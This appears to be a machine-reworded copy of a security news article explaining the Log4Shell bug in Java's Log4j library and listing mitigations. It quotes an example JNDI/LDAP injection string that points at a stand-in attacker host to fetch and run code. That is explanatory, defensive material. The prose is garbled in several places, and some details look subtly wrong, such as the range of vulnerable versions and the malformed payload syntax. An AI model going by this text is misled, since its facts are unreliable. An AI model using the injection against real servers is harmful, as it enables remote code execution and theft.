Java “Log4Shell” vulnerability – how to protect your servers – Naked Security

Just when you thought it was safe to chill out for the weekend…

… and your cybersecurity Christmas decorations lit up with the latest funky-named bug: Log4Shell.

Apparently the first reports of the bug called it “LogJam” because it allows you to block questionable download requests in LOG file entries.

But LogJam was already taken (in this one, LOG was referring to discrete logarithms, as performed in cryptographic calculations, not log files).

So, Log4Shell it has become.

The name Log4Shell refers to the fact that this bug is present in a popular Java code library called Log4j (Logging for Java), and the fact that, if exploited successfully, attackers get what is in fact a shell – a way to execute any system code they choose.

Unfortunately, the vulnerability was tweeted as a zero-day hole (the name of a security bug documented before a patch was released) and posted as a proof of concept (PoC) on GitHub, so the world first had to hear about it when it was not corrected yet.

Incorrect entry validation

The bug, now officially designated CVE-2021-44228, involves sending a request to a vulnerable server in which you include data – for example, an HTTP header – that you expect (or know) the server will write to its log file.

But you trap that data so that the server, while transforming it into a format suitable for logging, initiates a web download which is integral to building the necessary log entry.

And not just any old download: if the data coming back is a valid Java program (a .class file, in the lingo), then the server executes that file to “help” generate the log data.

The trick is that, by default, unpatched versions of the Log4j library allow logging requests to trigger general purpose LDAP (directory services) searches, as well as various other online searches.

This “functionality” exists to help you convert data of little use, for example user credentials such as OZZJ5JYPVK, into human-actionable information that makes sense about your network, such as Paul Ducklin.

These requests occur through a commonly used Java toolkit known as JNDI, short for Java naming and directory interface, which is a Java module that allows Java code to easily perform online searches such as user ID to real name conversion mentioned above.

It sounds dangerous, and it is, because it means that the saved data can trigger server-side code execution, but you might consider it to be. mostly harmless if these “help requests” only ever reach fully trusted name and directory servers within your own network.

But many servers are not configured this way, and malicious “logsploiters” might try to embed text such as {$jndi:ldap:dodgy.example:389/badcode} in the data they expect you to record …

… in the hope that, in the process of saving data, your server will automatically:

  • Use JNDI to make an LDAP request at the specified port (389 in our example) on the specified untrusted external server (dodgy.example above),
  • Recover untrusted content to the place badcode on this server, and
  • Execute the code provided by the attacker to “help” you with your journaling.

In other words, that’s what the jargon calls remote unauthenticated code execution (RCE).

Without signing in, or needing a password or access token, cybercriminals could use an innocent-looking request to trick your server into reaching out, downloading their code, and infecting themselves. with their malware.

Depending on the type of permissions your server has on your internal network, an RCE like this could help cybercriminals perform a wide variety of nefarious tasks.

As you can imagine, attackers could, in theory: leak data from the server itself; know the details of the internal network to which it is connected; modify the data on the server; exfiltrate data from other servers on the network; open additional backdoors on the server or network for future attacks; implant additional malware such as network snoopers, memory scrapers, data thieves, cryptominers …

… Etc.

What to do?

Apache, which is responsible for the Log4j product, has posted a practical security advisory on the issue.

Recommended steps you can take include:

  • Upgrade to Apache Log4j 2.15.0. If you are using Log4j, any version 2.x earlier than 2.14.1 is apparently vulnerable by default. (If you’re still using Log4j 1.x, then don’t, as it’s absolutely unsupported.)
  • Prevent JNDI from making requests to untrusted servers. If you can’t update, but you are using Log4j 2.10.0 or later, you can set the configuration value log4j2.formatMsgNoLookups at true, which prevents LDAP and similar requests from going out in the first place.
  • Check the Java runtime you are using. The underlying version of Java that you have may prevent this bug from triggering depending on its own default configuration. For example, Apache explicitly lists Oracle Java 8u121 as offering protection against this RCE.

For more information about the Log4shell issue and Sophos services, please see our security advisory SOPHOS-SA-20211210-log4j-rce.

Comments are closed.